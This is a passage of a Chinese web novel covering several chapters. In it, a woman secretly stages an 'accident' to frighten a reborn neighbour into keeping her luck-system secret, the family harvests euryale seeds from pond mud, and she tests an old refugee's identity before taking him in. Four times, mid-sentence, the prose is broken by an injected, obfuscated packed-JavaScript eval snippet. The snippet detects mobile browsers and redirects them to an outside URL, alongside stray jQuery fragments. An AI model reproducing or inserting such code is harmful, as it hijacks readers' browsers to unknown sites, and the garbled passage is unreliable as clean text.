“狗子哥,你醒着呢?” 张狗子有点失望,语气不免带出些许埋怨, “你怎么又下地了?后背不是还敷着药的吗?” 高春花愣了下,忙又扬起笑脸解释道: “我后背的伤已经结痂了,小刘大夫给我开了药膏,说我要是在床上躺的难受,可以下地走走。” 说着,快走两步,将手中的小布袋跟献宝一样递给张狗子, “这是三宝他们摘的酸枣,小是小,但是味道好,又酸又甜的,你尝尝。” 张狗子看着高春花殷切喂到嘴边的酸枣,又干又瘪,不太想吃。 可看到她脸上已经结痂,但是依然狰狞的伤口,心里不由叹了口气,还是张开嘴吃了进去。 高春花见张狗子吃了,很是开心,连忙问道: “好吃吗?是不是又酸又甜? 这棵酸枣树长在沟边上灌木丛后头,可是不好找,要不然也不会现在树上还有枣,早就被鸟吃光了。” 昨天幸运值十七,她以为会有野兔,就想办法透露给了三宝他们,没想到会是酸枣。 不过酸枣也好,枣能补血,拿来给狗子哥吃正好。 想到今天幸运值有二十六,高春花不由有点遗憾。 那地方远,要跑到后山山脚跟前,要不是她腿脚不方便,就亲自过去找了,找到好东西都给狗子哥,他肯定会喜欢。 屋外,高娇娇正在推磨的手顿了顿,跟在她身后的杜映梅忙关切问道, “嫂嫂是不是累了?那换我来吧。” 说着,就要上前接过高娇娇手里的活儿。 高娇娇忙摆手, “不累,就是想起一件事。” “啥事?” “咱家墙根要不要也种点南瓜?” “要啊,当然要! 我昨儿就想种来着,嫂嫂你不知道,南瓜种下根本不用管。 嫩南瓜炒着吃煮着吃,老南瓜蒸着吃,又甜又面能当饭,可好吃了。” 杜映梅一说起吃的就来劲,恨不得赶紧把这点荞麦磨完,好回去找李二他娘要几棵南瓜苗。 村里这两天地里不忙,男人们都去挖沟修路弄鱼塘了,女人们都忙着种菜呢。 她跟着也在河边开了块菜地,种了些小白菜、韭菜、葱姜蒜啥的,但还觉得不够。 再在院墙旁种点南瓜、菜瓜、黄瓜、豆角啥的,吃不完还能拿去卖,菜叶子还能喂牲口,多好啊。 杜映梅想的美滋滋,高娇娇听着高春花的心声,很是头疼。 她觉得照这么下去,高春花早晚要把自己重生和系统的秘密告诉张狗子,那可就麻烦了。 得想个办法,彻底打消她这个念头。 第二百零六章 套路不怕老 三天后,鱼塘挖好了,水也引进去了,高二宝把他们这段日子搜罗的鱼苗放了进去。 看着小鱼一摇尾巴,迅速没入水里不见了踪影,高二宝眼巴巴问高娇娇, “姑姑,这鱼要长多久才能捞啊?” 高娇娇被问的好笑,才刚开始养就想着捞了,这小子比她还心急呢。 见三宝和小寒、冬月几个也眼巴巴望着自己,高娇娇想了想道: “我明天要进城给朱叔请老师傅盖房子,今天下午不忙,带你们去河边下几个鱼篓。 你们赶紧去搞饵料,要是能捞到鱼,我明儿拿去城里卖了给你们买糖。” 几个小孩欢呼着立马跑去挖蚯蚓,高娇娇忙高声叮嘱高二宝, “看好那几个小的,别一不小心掉河里了。” “知道了——” 高二宝头也不回,跑的飞快。 高娇娇笑骂道, “臭小子,一说捞鱼跑的比兔子都快。” “高姑姑......” 身后突然传来一个小小的声音,高娇娇扭头,看到比她矮了一头的田木生。 见她看过来,小孩更紧张了,不敢看她,低着头盯着自己的脚尖,用更小的声音结结巴巴道, “我,我家也有鱼篓,我,我能不能,能不能.......” 高娇娇爽快道: “既然有就拿来吧,捞到大鱼我就拿去一起帮你卖掉。” 田木生没想到高娇娇直接就答应了,惊喜万分,不知道该如何感谢是好。 只能给高娇娇深深鞠了一躬,拔腿就往家跑。 高娇娇被田木生这一下子弄的愣住,失笑道, “这小子,从哪儿学的这些乱七八糟的,吓我一跳。” 想到天一天天暖和,池塘里的鱼还要很久才能长大,孩子们既然这么喜欢捞鱼,不如买点鱼钩渔网回来,让他们多捞点鱼,赚点零花钱也能贴补贴补家用。 高娇娇忙摸出自己的小本子,在上面记下一笔。 明天进城要办的事还真不少,要请老师傅,还要去问问寻人的事有没有消息,还得去看看粮价涨没涨,问问别的地方倒春寒的受灾情况。 还要买丝线,买布料,买清明节祭拜要用的东西,还有....... 正写着,忽然听到杜映梅的惊呼,高娇娇忙放下炭笔看了过去。 只见高春花拄着拐,挎着小篮子,正从坡上往下走, 一边走还一边冲杜映梅嚷嚷, “你大呼小叫个啥,我又不是鬼,我听你们在下头热闹的很,就过来看看。” 高娇娇撇了撇嘴,看看还拿个小篮子,分明就是想找人帮她寻宝。 仔细听了听高春花的心声,难怪,今天幸运值快三十了,位置还就在池塘边。 想到池塘边为了建朱钰想要的凉亭,专门留着修台阶的斜坡,高娇娇脑中不由闪过一个念头。 天降神罚的套路可以再来一回了,招数不怕老,管用就行。 心里有了盘算,高娇娇便十分配合的顺着高春花的话,带着她去了池塘那边。 到了地方,高春花四下张望了一番,直奔那堆淤泥。 杜映梅一把拉住她, “你去那边干啥,我带你去看鱼,二宝他们抓了好几桶小鱼苗,都放进去了。 我们还在岸边种了好多树,有棵桃树上头冒出了小花苞,我估计很快就要开花了,我带你去看啊。” “我,我——” 高春花还没想好借口,就被杜映梅拽了过去,她心里急,不由频频回头看那堆淤泥。 高娇娇听到高春花急着回去是担心张狗子自己在家没人照顾,忍不住翻了个大白眼。 今天她娘和罗子娘几个在家做荞面蒸饺,张狗子有需要喊一声,立马就有人过去照顾,哪儿用得着她瞎担心。 不过去池塘边,倒是方便她行动了。 高娇娇不紧不慢跟在杜映梅和高春花身后,等到高春花又一次回头看那堆淤泥时,将提前藏在手里的小石**射到她脚边。 高春花被杜映梅拍了下胳膊,赶紧转过身跟上时,左脚踩到圆溜溜的小石子上,不由一滑。 她本就心不在焉,又拄着拐,全身重量大半都在左脚上,这一滑不要紧,整个身子都踉跄着往左前方栽去。 偏左前方是为了修台阶专门留出来的一个斜坡,她往下一栽,整个人便顺着斜坡往河里掉。 高春花不由吓的哇哇大叫,杜映梅也吓的手忙脚乱。 可事情发生的太突然了,杜映梅即便反应再快,也只来得及抓住高春花乱挥的拐杖。 偏偏高春花在慌乱中又松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342599|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了手,于是,杜映梅只抓住了拐杖,没能利用拐杖拉住高春花。 正当高春花以为自己完了,要一头栽到河里时,后衣襟突然被抓住,紧接着一股大力把她给扯了上来。 一屁股瘫坐在地上,高春花扶着自己颤抖的腿,半天都缓不过气来。 杜映梅也摸着心口,一个劲儿嚷嚷, “吓死我了,吓死我了,你可真是的,怎么就突然往下栽啊? 幸亏我嫂嫂眼疾手快,一把把你拉上来了。 要不你可就惨了,伤还没好再掉进河里,就算不受凉,伤口也要沾上脏。” 高娇娇等高春花脸色没那么惨白了,才故作困惑问道, “春花,我看你之前也走的挺稳当的,怎么突然就往下滑了呢?” 高春花哪儿知道,她也觉得莫名其妙。 高娇娇走到高春花滑下去的地方,左看看右看看,还用脚尖翻了翻,趁没人注意将石子踢入了河中,嘟囔道, “这里也没什么啊,土压的瓷实,地面也平坦,也没石子土疙瘩啥的,你怎么就好端端脚滑了呢? 说起来也是怪,上次那头狼,怎么就偏偏藏在那儿,要说那里人来人往的,一点也不适合偷袭。 还有你摔伤的那个地方,就只有一个带尖的小石块,偏偏就让你撞上了。 狗子那么直挺挺摔下来,硬是没挨上一点.......” 高春花越听脸色越难看,杜映梅偏要凑上来压低声音跟她道, “听我嫂嫂这么一说还真是,你就跟我们村里那被霉运附身的人一样。 实在不行,你请人帮着看看吧,再倒霉也没你这样的,好好走着路还能差点掉河里。 今天幸亏是跟我们在一块儿,要是你一个人,还指不定出什么事呢。” 高春花的脸色不由更加难看,高娇娇见火候差不多了,忙拍了下杜映梅,板着脸道: “快别胡说八道了,被霉运附身的人都是干了缺德事,春花可不是,她是为了救人。” 杜映梅立刻道, “嫂嫂,这你可就不知道了,被霉运附身的人可不见得都是干了缺德事,也可能是招了小人惹了忌讳.......” 杜映梅举了几个例子,都是她亲耳听村里人说过的,说的有头有尾绘声绘色,由不得人不信。 第二百零七章 来都来了 高娇娇揪住其中一个,若有所思道, “原来说了不该说的话也会招来厄运啊,那不就是跟我们村那个被火烧死的老头一样?” 杜映梅赶紧点头,连声道, “对对对,他这叫犯了口舌的忌讳,我们村请来的那个神婆说这是,这是啥来着......” “犯了谶?” 杜映梅一个劲儿点头,高娇娇生怕高春花听不懂,又详细解释了一番, “我听朱叔说,谶就是方士预示吉凶的隐语,凡事有因果,有些话不能随意说出来,不然一语成谶,就会惹上泼天大祸,轻则伤身害己,重则家破人亡。” 杜映梅吓的赶紧捂住自己的嘴,高春花更是脸色惨白。 她想到因为今天幸运值高,忍不住跟狗子哥炫耀自己运气好,还说今天一定能带比酸枣更好的东西回去给他。 她以为只要她不告诉狗子哥她有送财童子帮忙,让他以为她就是天生好运,那就不算泄露天机。 没想到,转眼就又差点出事了。 想到自己可能会招来天降神罚,高春花不由害怕的瑟瑟发抖。 她不敢了,再也不敢了,她好不容易重活一世,好不容易要跟狗子哥成亲了,她不想死啊。 见高春花被吓住了,高娇娇松了口气,希望这次的教训能让高春花长点记性,别再想把秘密透露给张狗子了。 不是人心不可信,而是人心易变,赌不起啊。 让杜映梅把高春花送回去,高娇娇找了两根木棍,去淤泥堆里翻找了起来。 来都来了,那么高的幸运值别浪费。 可等到杜映梅送完人回来了,高娇娇也没翻出来什么有用的东西,反倒溅了一身泥点点。 杜映梅好奇凑过来问, “嫂嫂你在找啥?” “我昨儿掉了一块碎银子,哪儿都找不到,想看看是不是拉淤泥的时候掉进去了。” 高娇娇随口编了个理由,杜映梅信以为真,立刻帮着翻,一边翻一边问, “你啥时候发现掉的啊?多大一块银子?是圆的还是有棱角的.......” 高娇娇只能继续胡编乱造, “很小一块,跟指甲盖那么点大,好像是圆的吧,我也记不清了.......” “找到了!我找到了!” 杜映梅高兴地叫了起来,用木棍拨拉出来一个泥疙瘩,兴冲冲捏起擦掉泥,郁闷了, “不是银子,是个黑疙瘩,唉,白高兴一场。” 说着就要把那个黑疙瘩扔了,高娇娇忙抢过来,捏了捏有点硬,用指甲扣了扣,有层壳,剥了壳放到鼻子下闻了闻,有股淡淡的清香。 这个难道就是高春花要找的宝贝? 二十多的幸运值,应该是值钱的东西。 可这玩意儿,又小又黑,实在看不出哪儿值钱。 高娇娇想砸开看看里头是什么样,不料杜映梅突然伸**了过去,直接扔进了嘴里。 高娇娇........ 她每次都想阻拦,每次都没拦住,哎,一到吃的上面,这丫头就格外迅速。 杜映梅嚼了嚼,高兴道: “刚吃没味儿,嚼着嚼着有点甜,跟那个啥有点像。” “哪个啥?” “忘了,反正还挺好吃的。” “你啊,除了吃还知道啥? 赶紧再找找还有没有,拿去问问小刘大夫看看他认识不认识。” 杜映梅乖乖点头,跟着高娇娇一通翻找,又找出十来颗,捧着去问刘一手。 刘一手仔细辨认过后,喜出望外,连声追问道: “这么好的芡实你从哪儿弄来的?” “原来这玩意儿叫芡实啊,是挺实的,吃着有点干巴。” 杜映梅答非所问,急的刘一手直瞪眼, “到底从哪儿弄的?你快说,这可是上好的药材,好几十文一斤呢。” 杜映梅吓一跳, “这玩意儿这么贵呢,我和嫂嫂在淤泥堆里找到的,我还以为是啥野果子呢。” 高娇娇正在努力翻找,见杜映梅带回来一群人,不由吃了一惊。 刘一手顾不得跟高娇娇打招呼,就冲高春雨和高秋菊,还有路上遇到的高二宝等人道: “快快快,把晒药材的大笸箩放这儿,你们用水把淤泥一点点冲开慢慢找啊,现在这芡实可不好买,贵着呢。” 孩子们按照吩咐热火朝天的找了起来,高娇娇凑到刘一手旁边问了一通,这才知道他们医馆在采购药材上犯了难。 因多处受灾,流民四起,暴民叛乱,各个州府都不太平。 并州府这边虽然有顾大将军坐镇,还算太平,但是因为无法及时从其他州府,尤其是临近的豫州和鲁洲调运粮食,粮价不断上涨。 粮价涨,盐价也涨,相应的其他东西也跟着涨。 药材自然也是这样,以最常见的治疗偶感风寒的方子为例,去年**之前,刘一手大概十几文就能配出来三副药。 现在同样的方子,他十几文只够抓一副药回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342600|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若单单是涨价也就罢了,最让刘一手他们头疼的是,有的药有钱也买不到。 就拿这芡实来说,本就属于并州府这边产量小但又经常用到的药材,本地存货很少,外地的货又运不进来,真是拿着钱也买不到。 高娇娇听得也不禁有些发愁,巧妇难为无米之炊,药材的问题不解决,医馆就开不起来。 实在不行,就只能给大哥捎信,让他帮忙在并州府看看药材情况,要是还能承受,就先采买一些回来。 想到大哥这一去并州府学种水稻起码十天半个月都回不来,大嫂又是个指望不上的,大房一家新的住处还是得指望爹娘帮忙安排。 高娇娇不由叹了口气,都说养儿防老,依她看,一旦有了儿女,就有了操不完的心。 还是自己一个人好,自己吃饱全家不饿。 几人把一大堆淤泥仔细翻找了一遍,最终找出来十来斤芡实。 刘一手高兴的合不拢嘴,一个劲儿跟高娇娇说淤泥里都能找出这么多,河边肯定还有不少,让她多留意,别让人把长出来的芡实当水草拔了。 还说要是能长成一大片,池塘里就别种荷花了,芡实在北方能长成这样的很难得,要是能好好培育,比种荷花强。 高娇娇连连点头,要真能长出来,还省的她花钱买荷花种子了。 最终,刘一手按三十文一斤的价格,买了这些芡实。 高娇娇把一半钱给了杜映梅几个,把剩下的一半装自己兜里,准备明天进城买些点心果子,给高春花和张狗子也送点过去。 毕竟是伤员,总要吃好一点,更何况她也是蹭了人家的外挂,送点东西也是应该的。 回去吃了香喷喷的羊肉荞麦面蒸饺,还喝了一大碗羊杂汤,下午高娇娇就带着高二宝和田木生几个放鱼篓。 鱼篓口小肚大,把饵料塞进去,鱼为了吃饵料钻入鱼篓,再想出去就难了。 次日一早天刚蒙蒙亮,高娇娇就带着高二宝和田木生把鱼篓取出来挨个瞧了瞧。 高二宝不管大鱼小鱼,只要鱼篓里有鱼就高兴。 田木生则要紧张的多,他拿来两个鱼篓,一个是他家的,一个是他借的,问娘要了一把杂粮面,做了两团饵料。 要是连一条鱼都捞不到,那可亏大了。 好在他运气不错,一个鱼篓里有一条两斤左右的鲤鱼,另一个鱼篓里虽然只有巴掌大的小鲫鱼,但是有两条。 将鱼都装进水桶,放在驴车上固定好,高娇娇在高二宝等人殷切地注视中,出发去县城。 第二百零八章 有下落了 路上经过拱桥的时候,高娇娇在桥上停留了一会儿。 看到远处山上还有积雪,左右两侧的田地里都是灰扑扑一片,看不到一点绿意,心情不由有些沉重。 上次下雪的时候,双水村的人没跟他们一样熏烟,反倒全部出去捡柴卖给他们。 王里正说他们的麦子经过寒潮,已经被冻坏了,即便再折腾,也不会有多少收成。 再加上壮劳力本就不足,一帮老弱妇孺没有牲口想把那么多柴火背到地里太难了,还不如把柴火卖给他们换粮食。 靠着帮石楼村干活,他们村的人应该能熬过这个青黄不接的时段,等到夏收后翻了地,重新种上庄稼,就能缓过来。 双水村的人能缓过来,别的村的人怕是就很难了。 高娇娇不是悲天悯人的菩萨,也从没想过济世救民,她只是担心这样大范围的受灾,会不会导致很多人断粮。 如果断了粮,并州府的官员再不及时减免赋税,救济灾民,这里是不是也要乱起来? 她实在不想好不容易才安稳的生活被打乱,希望并州府的官员能好一点,顾大将军能体恤百姓,照拂民生吧。 不过把希望全部寄托在官府身上,高娇娇心里不安生,想到朱钰说的高筑墙广积粮,自己练兵扩成堡垒。 高娇娇不由攥紧了拳头,要是只有那样才能在这乱世中保有一方太平,那她就朝那个方向努力吧。 振奋精神,继续赶路,一口气赶到城门外,高娇娇才放慢了速度,跟着进城的队伍排队入城。 “让让,麻烦让让......” 旁边出城的队伍里有两人牵着马往外走,高娇娇不由好奇多看了两眼,惊呼出声, “杜衡?凌十三!” 两人听到喊声,齐齐扭头,看到高娇娇喜出望外。 凌十三抢着嚷道: “嫂嫂,在这儿碰到你可太好了,我们正要回去跟你们说个好消息呢.......” 他还没说出是什么好消息,排在他后头的人就忍不住抱怨了起来, “你们要闲聊就去旁边,别挡着道,我们还急着出城呢。” 凌十三顿时火大,他才说了两句话,前面的人还没动呢,怎么就挡道了? 杜衡赶忙拉住凌十三,冲高娇娇道: “嫂嫂,我们退回城里等你,等你进了城,咱们再细说。” 高娇娇点头,等进了城,三人一边说着话,一边往车马行赶。 杜衡和凌十三为了快去快回,租了车马行的马,现在用不上了,就赶紧还了,看看能不能把租金给退了。 高娇娇得知两人一听高家三嫂的娘家人有了着落,不敢耽搁,就立刻请假回去,没忍住把两人训了一顿。 “既然是牙行的人过来送口信,你们不会花点钱,再请他们帮忙去村里送信? 请人跑一趟,不比你俩又是请假又是租马亲自跑回去省钱省力? 而且牙行的人本来就经常下乡买人,说不得就有人去石楼村那边,捎个信又不费事。 你们才刚入学没多久,就为了家事请假,给夫子留下不好的印象岂不是亏大了?” 杜衡听得羞愧不已,他一着急就没想这么多,在处理庶务上他还是太缺乏经验了。 凌十三笑呵呵解释道, “嫂嫂别骂了,我们也是心急,生怕耽搁了高家三嫂认亲。 你是不知道,牙行那伙计说最近城里又来了很多难民,有些还不是官府发派过来的,是自己偷跑来的。 衙门巡街捕快都快忙疯了,说是有土匪强盗假扮难民作乱,烧杀抢掠无恶不作,知县大人已经向州府上报,不准备再接受难民了。 还要对进入城中的难民进行户籍核查,有问题的一律抓起来。 我们担心三嫂的亲人会被误抓,这才想着赶紧回去报信,让你们过来认一认。” 高娇娇听凌十三这么一说,意识到了事情的严重性,到了车马行,也没跟掌柜多扯皮,拿回一半租金就赶紧去了牙行。 牙行里负责接待的还是上次那位管事,见高娇娇过来,便笑着迎了上去。 “昨儿个人一过来,我就留他在后院住下了。 现在外头乱,老人家一把年纪了,流落在外万一出点什么事,我这边也不好给你交代。” 管事说着,带着高娇娇三人往后院走去。 一进后院,见墙根或站或蹲了好些人,个个衣衫褴褛骨瘦如柴,高娇娇不由皱起了眉头。 管事察言观色,主动解释道, “客官有所不知,自打难民进了城,我们牙行就忙的脚不沾地。 为了安家落户建房买地,卖儿卖女卖媳妇,甚至自卖自身的人多了去了。 院里这些人,还只是今天送来的,昨天送来的,能卖的我们都已经卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342601|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,实在不好脱手的才留在后院。 现在粮食贵得很,我们牙行也不容易,我们给他们找个能活命的去处,总好过他们坐着等死,您说是不是?” 高娇娇勉强附和两句,心里不免叹息。 乱世人命比草贱,好不容易到了安稳地方,却还要落入**为奴的境地,真是,唉。 杜衡看的心有余悸,要不是嫂嫂大义,带着他和妹妹一起上路,他们的下场只怕比这些人还不如。 凌十三倒没什么感触,从小他就知道人跟人是不一样的,他家比上不足比下有余,即便是逃难,也不会沦落到这般境地。 至于那些大富之家,有权有势的,就更加不会了。 哪怕路上遇到变故,他们自己的家财没保住,但谁还没个亲朋故交可以投奔一二,只要对方伸以援手,就能助他们东山再起。 就像知府夫人的表妹,现在还不是一样使奴唤婢。 只是嫁给了杜有才那个白眼狼,以后的日子怕是不会太舒坦,想来人的福气还是有数的,非要自己作死谁也拦不住。 凌十三觉得自己悟出了了不得的大道理,忍不住想要跟杜衡分享一下。 杜衡却只顾着跟紧高娇娇,被凌十三扯住衣袖,忙不耐烦甩开,弄的凌十三很是郁闷。 高娇娇跟着管事进了后院拐角一间小屋,屋里很暗,刚进来她什么都看不清,过了会儿才能看到角落里蹲着一团身影。 管事扬声招呼, “林老汉,你家里有人过来寻你了,你快过来让他们看看。” 角落里那团身影动了动,扶着墙,缓缓站起了身。 高娇娇想要凑近些看看清楚,原主只见过林巧儿娘家人几面,记忆不算深刻,她担心自己分辨不出来。 杜衡忙拉住高娇娇,压低声音道, “嫂嫂,屋里太暗了,咱们不如去外面。” 高娇娇愣了下,想到凌十三说的话,明白了杜衡的顾虑,便点了点头。 管事看了眼杜衡,在他九川书院的学子服上多看了两眼,看到他腰上的玉佩,不由挑了下眉。 难怪他第一眼就觉得这个少年气度不凡,原来是九川书院甲班的才子啊,看来这个外来户比他预想中的更有实力,值得一交。 高娇娇不知道自家在管事心中的地位,又被杜衡给拔高了,走到外面,看到老汉瘦骨嶙峋的脸,不由发了愁。 第二百零九章 怎么就长嫂为母了 在原主的记忆中,林巧儿她爹是个温和爱笑,身材微胖的中年人。 可现在站在高娇娇面前的,是个头发几乎全白,瘦的脸颊都整个凹陷进去的老汉,单从外貌实在难以分辨。 高娇娇只能用老家话试探着问, “您老还记得我吗?” 老汉眯起浑浊的老眼,盯着高娇娇仔细看了看,不是很确定道, “你是巧儿的小姑子,高家那个小闺女?” 凌十三大喜,看来是真亲戚,这么乱的世道还能找到真不容易。 杜衡却瞪了凌十三一眼,把他扯到一旁,压低声音警告, “你别出声,更别露出任何明显的表情,世道这么乱,你怎么知道这人不是坏人冒充的?” 凌十三震惊, “不可能是冒充的吧? 我看这位老爷子不像是坏人啊,你看他的衣服那么破烂,人也瘦的可怜。” 杜衡白了凌十三一眼,没好气道: “天下可怜人多了,难道每个可怜人都是好人? 害人之心不可有,防人之心不可无。 保不齐有人看到我嫂嫂年轻出手又大方,故意设局来坑骗她呢。 你当世上的人都跟你一样傻,坏人多的是手段。” 凌十三瞪眼不满, “我才不傻!” “不傻?你连那么简单的文章都背不下来,好不容易背下来睡一觉就能忘,你还不傻?” 杜衡斜着眼,抬着下巴,鄙视之情溢于言表。 凌十三无力反驳,他也很想知道那么难的文章,杜衡是怎么看一遍就能背下来啊。 高娇娇跟老汉慢慢聊着天,管事在一旁越听越心惊。 这位小娘子果然不一般,听着像是闲话家常,却冷不丁就问一件毫不相干的事,这哪儿是普通人认亲的样子,分明是衙门里套话的手段。 凌十三也注意到了高娇娇的话术,她刚才还在跟老汉说今年天不好庄稼受了冻可能没收成,老汉正长吁短叹,她突然问老汉林巧儿嫁到高家的时候有没有下雪。 这弯儿转的凌十三都猝不及防,老汉也被她问的愣了愣,才说闺女出嫁是在九月,刚过了重阳,还不到下雪的时候。 高娇娇便笑着说自己可能是记错了,又继续说粮价说赋税,说这一路的艰难,不提林巧儿了。 直到老汉忍不住追问闺女一家现在如何,亲家可还安好,高娇娇才说家里的情况。 听到闺女过得好,老汉激动不已,掩面抹泪时,高娇娇又突然问老汉遇到土匪时,小孙子是被谁抱在怀中。 路上遇到土匪,全家被害的事老汉已经跟说过了,说的时候还哭了,哭的很伤心。 但是凌十三完全不记得他提没提过小孙子,更不记得孩子是被谁抱着。 他只记得老汉说土匪怎么凶残,怎么冲上来就抢就杀,他们如何惊慌如何四处奔逃,他又是怎么摔到沟里被**压在下面,才侥幸捡回一命。 凌十三忍不住小声问杜衡, “老爷子说过他小孙子是被抱在怀里的吗?” 杜衡摇头, “没有。” 凌十三震惊, “那嫂嫂干嘛这么问人家?” 杜衡用看傻子一样眼神看着凌十三,懒得搭理。 凌十三自己想明白了,捂嘴难以置信,小小声道: “嫂嫂是故意这么说,诈这个老爷子呢? 我的天,这不是衙门里才会用的手段吗? 你嫂嫂这也太,太——” 杜衡眉往下压,眼神冷厉。 凌十三急忙把不太好听的话咽回了肚子,但片刻后还是忍不住感叹, “就你嫂嫂这样的,谁敢糊弄她,肯定死翘翘。 一个女人,力气大又能打也就算了,还这么精明能干,真是不给男人留活路啊。” 杜衡冷哼一声,不满道, “若男人都像你一样无能蠢笨,活着也是多余。 我嫂嫂本就不是一般人,岂是你这种凡夫俗子能评判的。” 又被鄙视了,凌十三也不恼,嘻嘻笑着撞了下杜衡肩膀,小声打趣道, “原来你这么崇拜嫂嫂啊,比我对我娘还敬重,看来真是长嫂为母,你在你嫂嫂跟前比亲儿子都孝顺。” 杜衡顿时火冒三丈,忍不住踹了凌十三一脚,怒骂道: “你个混账,说的什么疯话,嫂嫂只比我大一岁,怎么就长嫂为母了?” 凌十三愣住,完全理解不了杜衡的愤怒,更理解不了他的说法。 即便只大一岁,那也是长嫂啊,长兄不在了,他说一句长嫂为母有什么不对的? 杜衡即便要生气,也该生气他打趣他比亲儿子都孝顺吧? 杜衡踹完凌十三,见高娇娇他们都看了过来,顿时有些懊恼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342602|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不该在这种场合做出这种举动,实在太失礼了。 但比懊恼气闷更让杜衡害怕的是心慌,因为他忽然意识到自己不管再敬重再感激嫂嫂,也从没把她当长辈,当要孝顺的对象。 所以凌十三的打趣,听在他耳中便格外刺耳,让一向很能忍的他险些失控。 这让杜衡心里很乱很慌,他有点不知道怎么面对高娇娇了。 高娇娇还以为杜衡和凌十三又在小学鸡打闹,根本没放在心上。 经过多方试探,确定老汉的确是三嫂亲爹,高娇娇决定把人带回去,但是老人家现在这样,三嫂见了定是要难过万分。 加上进城一趟不容易,高娇娇决定还是先帮老人家改头换面,再把事情办完,然后回村。 谢过管事,高娇娇先带着林老汉去了趟医馆,让大夫给他把脉检查了下身体,顺便打听了一下现在的药材行情。 然后去了成衣铺子,给林老汉从头到脚买了身衣服鞋袜,又买了绣花用的丝线,和点心果子什么的,这才回了小院。 让杜衡和凌十三烧水,帮林老汉洗个澡换上干净衣服。 高娇娇去了前院铺子,买了四碗馄饨,和十个刚出锅的大肉包子,请他们帮着加热了一下专门给杜衡带来的蒸饺和羊杂汤。 等林老汉收拾得当,高娇娇也把饭摆上了桌。 穿着舒适的新衣服,吃着热乎乎香喷喷的饭,林老汉不由热泪盈眶。 他不是心酸自己终于苦尽甘来,而是难过家里那么多人,到最后就活下来他一个最没用的老头子。 杜衡和凌十三帮老爷子洗澡时,看到了他身上大大小小的伤,知道他这一路走来的艰难,见他老泪纵横,不免也有些心酸。 高娇娇知道这个时候说再多安慰的话都是无用,只能把肉包子往老爷子跟前又推了推。 凌十三夹起一个荞麦蒸饺,故意吃的吧砸吧砸响,连声道, “这个好吃,饺子皮有韧劲,跟面做的不一样,馅儿也香,这野山羊跟家养的吃着是不一样哈.......” 有他插科打诨,林老汉渐渐平复了心情,慢慢吃了起来。 不是他拘束不好意思吃太快,更不是不饿,是他的牙在这一路奔波劳顿中都掉的差不多了,仅剩的几颗让他即便再饿,也吃不快。 看到林老汉瘪着嘴费劲用牙床咀嚼食物的样子,高娇娇心里很不是滋味。 第二百一十章 拿捏 林老汉今年还不到五十,比她爹还年轻,可大夫说老爷子身子亏空的厉害,即便精心调养,怕是也没几年活头了。 别看现在能走能说能吃能喝,说不行,眼一闭就再也醒不过来。 老爷子全凭着一股执念才撑到了现在,想来也是放心不下闺女,想要在临死前见上一面,才千辛万苦走到这里来。 凌十三吃着饭嘴也闲不住,说完了吃食,想到昨天老爹路过来看他,说起杜有才成亲的糗事,忙冲高娇娇道, “嫂嫂,你是不知道,杜有才他爹花了重金请了天香楼的大厨做席,在成亲当天宴请了不少权贵富商。 可谁能想到,知府和知府夫人居然没出席。 还只派了个小厮去上礼,哈哈哈哈,连个有头有脸的管事都没去。 那些本来看在知府面子上才过来赴宴的宾客纷纷离席,弄的十桌九空,丢脸至极。 我估计杜有才肯定气的脸都绿了,他们这就叫偷鸡不成蚀把米,哈哈哈哈........” 凌十三笑的停不下来,高娇娇和杜衡对视一眼,神情都有些微妙。 真没想到知府夫人会这么狠,忍到成亲当天才发作,当众打脸,以后怕是根本不打算再跟这位表夫人来往了。 不过想想也能理解,毕竟只是表妹,又不是亲妹妹。 即便是亲妹妹,放着姐姐姐夫千挑万选的亲事不要,非要自己偷偷跟个护卫私定终身。 还在姐姐给自己安排的相亲宴上私会,实在是一点也没顾及姐姐的颜面。 姐姐就此恼了她,不再管她了,也正常。 就是不知道处心积虑当赘婿,想靠着裙带关系往上爬的杜家父子,要怎么接受这个鸡飞蛋打的结果。 